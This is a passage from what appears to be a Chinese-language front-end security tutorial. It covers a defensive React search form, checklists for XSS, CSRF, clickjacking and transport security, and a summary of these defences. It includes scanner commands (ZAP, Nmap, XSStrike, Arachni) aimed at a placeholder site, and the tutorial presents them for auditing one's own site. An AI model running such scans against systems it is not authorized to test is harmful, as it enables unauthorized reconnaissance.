      />
      <button type="submit">提交</button>
    </form>
  );
}

// ========== 6. 搜索组件 ==========

function SearchForm() {
  const [query, setQuery] = useState('');
  const [results, setResults] = useState([]);
  
  const handleSearch = async (e) => {
    e.preventDefault();
    
    // 对查询参数进行编码
    const encodedQuery = encodeURIComponent(query);
    
    try {
      const data = await safeFetch(`/api/search?query=${encodedQuery}`);
      setResults(data.results || []);
    } catch (err) {
      alert('搜索失败:' + err.message);
    }
  };
  
  return (
    <div>
      <form onSubmit={handleSearch}>
        <input
          type="text"
          value={query}
          onChange={(e) => setQuery(e.target.value)}
          placeholder="搜索..."
          required
          maxLength={100}
        />
        <button type="submit">搜索</button>
      </form>
      
      <div className="results">
        {results.map((result, index) => (
          <div key={index}>
            {/* 使用 SafeHTML 渲染搜索结果 */}
            <SafeHTML html={result.title} />
          </div>
        ))}
      </div>
    </div>
  );
}

export { LoginForm, CommentList, CommentForm, SearchForm, SafeHTML };

七、安全检测工具

1. 自动化扫描工具

# OWASP ZAP(开源安全扫描工具)
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://yoursite.example.com

# Nmap(端口扫描)
nmap -sV -p 443 yoursite.example.com

# SSL Labs(HTTPS 配置检测)
# 访问:https://www.ssllabs.com/ssltest/

# Security Headers(HTTP 头检测)
# 访问:https://securityheaders.com/

2. 依赖安全检查

# npm audit(检查依赖漏洞)
npm audit

# 自动修复
npm audit fix

# Snyk(更全面的漏洞检测)
npx snyk test

# npm outdated(检查过期依赖)
npm outdated

3. CSP 验证工具

// CSP Evaluator(Chrome 扩展)
// https://chrome.google.com/webstore/detail/csp-evaluator/djloihgicaebbkmfjlhgdeklbhbaecfn

// 报告模式收集违规
app.post('/csp-report', (req, res) => {
  console.log('CSP 违规:', JSON.stringify(req.body, null, 2));
  res.status(204).send();
});

4. XSS 检测工具

# XSStrike(XSS 漏洞扫描)
python xsstrike.py -u "https://yoursite.example.com/search?query=test"

# Arachni(Web 漏洞扫描)
arachni https://yoursite.example.com

八、安全最佳实践清单

前端安全清单

类别检查项优先级
XSS 防护使用 DOMPurify 过滤用户输入
使用 textContent 而非 innerHTML
配置 CSP 策略
对 URL 参数进行编码
CSRF 防护使用 CSRF Token
配置 SameSite Cookie
验证 Origin/Referer 头
点击劫持设置 X-Frame-Options 头
使用 CSP frame-ancestors
检测 iframe 嵌套
数据验证验证用户输入格式
限制输入长度
过滤特殊字符
Cookie 安全设置 HttpOnly 属性
设置 Secure 属性
设置 SameSite 属性

后端安全清单

类别检查项优先级
传输安全强制使用 HTTPS
配置 HSTS
禁用 SSL/TLS 弱版本
认证安全使用强密码哈希(bcrypt)
实施密码强度策略
启用多因素认证
登录失败限制
会话安全使用安全的 Session ID
设置会话过期时间
登出时销毁会话
API 安全验证请求来源
限制请求频率
验证请求参数
错误处理不暴露敏感错误信息
记录安全事件日志

九、总结

核心要点回顾

  1. XSS 攻击

    • 反射型:通过 URL 参数注入
    • 存储型:存储在数据库中
    • DOM 型:在客户端 DOM 中执行
    • 防御:输入过滤 + 输出编码 + CSP + DOMPurify
  2. CSRF 攻击

    • 原理:利用浏览器自动携带 Cookie
    • 防御:CSRF Token + SameSite Cookie + 验证 Origin
  3. 点击劫持

    • 原理:透明 iframe 视觉欺骗
    • 防御:X-Frame-Options + CSP frame-ancestors
  4. 中间人攻击

    • 原理:窃听或篡改通信内容
    • 防御:HTTPS + HSTS + 证书校验
  5. 防御技术

    • CSP:内容安全策略,限制资源加载
    • SameSite:Cookie 属性,防止跨站请求
    • DOMPurify:HTML 净化器,过滤 XSS
    • CORS:跨域资源共享配置

安全开发原则

  1. 永远不信任用户输入:所有输入都需要验证和净化
  2. 最小权限原则:只授予必要的权限
  3. 纵深防御:多层防御,不依赖单一措施
  4. 安全默认:默认配置应该是安全的
  5. 保持更新:及时更新依赖,修复已知漏洞

进一步学习


如果觉得本文有帮助,欢迎点赞收藏,有问题欢迎在评论区讨论!